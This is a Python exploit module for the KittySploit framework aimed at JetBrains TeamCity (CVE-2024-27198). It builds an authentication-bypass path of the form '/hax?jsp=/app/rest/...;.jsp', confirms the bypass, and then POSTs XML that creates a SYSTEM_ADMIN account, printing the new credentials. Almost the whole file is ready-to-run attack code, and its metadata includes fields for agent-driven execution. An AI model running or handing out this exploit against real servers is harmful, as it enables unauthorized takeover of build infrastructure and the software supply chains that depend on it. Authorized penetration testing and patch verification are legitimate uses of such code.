TeamCity Auth Bypass Admin Creation (CVE-2024-27198)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""JetBrains TeamCity authentication bypass admin creation (CVE-2024-27198)."""

import re
import secrets

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'TeamCity Auth Bypass Admin Creation (CVE-2024-27198)',
        'description': (
            'Exploits CVE-2024-27198 in JetBrains TeamCity: alternate servlet path '
            '/hax?jsp=/app/rest/... bypasses authentication to create an administrator '
            'account via the REST users API.'
        ),
        'author': ['KittySploit Team', 'Rapid7'],
        'cve': ['CVE-2024-27198'],
        'platform': Platform.MULTI,
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2024-27198',
            'https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/',
        ],
        'tags': ['teamcity', 'jetbrains', 'auth-bypass', 'privesc', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'credential_access'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['credentials', 'exploit_paths'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2024_27198_detect'],
            },
        },
    }

    port = OptPort(8111, 'TeamCity HTTP port', required=False)
    ssl = OptBool(False, 'Use HTTPS', required=False)
    username = OptString('', 'Admin username to create (auto if empty)', required=False)
    password = OptString('', 'Admin password (auto if empty)', required=False)

    def _bypass_path(self, rest: str) -> str:
        rest = rest.lstrip('/')
        return f'/hax?jsp=/app/rest/{rest};.jsp'

    def _auth_bypass_ok(self) -> bool:
        r = self.http_request(method='GET', path=self._bypass_path('server'), allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ''
        return all(m in body for m in ('buildNumber', 'version')) and 'Authentication required' not in body

    def check(self):
        if self._auth_bypass_ok():
            return {
                'vulnerable': True,
                'reason': 'TeamCity REST server info accessible without authentication',
                'confidence': 'high',
            }
        return {'vulnerable': False, 'reason': 'Auth bypass path did not return server XML', 'confidence': 'medium'}

    def run(self):
        if not self._auth_bypass_ok():
            print_error('CVE-2024-27198 auth bypass not confirmed')
            return False
        user = str(self.username or '').strip() or f'kitty_{secrets.token_hex(4)}'
        passwd = str(self.password or '').strip() or secrets.token_urlsafe(16)
        xml = (
            f'<user username="{user}" password="{passwd}" email="{user}@local.invalid" '
            f'name="{user}"><roles><role role-id="SYSTEM_ADMIN" /></roles></user>'
        )
        r = self.http_request(
            method='POST',
            path=self._bypass_path('users'),
            data=xml,
            headers={'Content-Type': 'application/xml'},
            allow_redirects=False,
        )
        if not r or r.status_code not in (200, 201):
            print_error(f'Failed to create admin user (HTTP {getattr(r, "status_code", "?")})')
            return False
        print_success(f'Admin user created: {user}:{passwd}')
        print_status(f'Login at /login.html with credentials above')
        verify = self.http_request(
            method='GET',
            path=self._bypass_path('users'),
            allow_redirects=False,
        )
        if verify and user in (verify.text or ''):
            print_success('User visible in REST users list')
        return True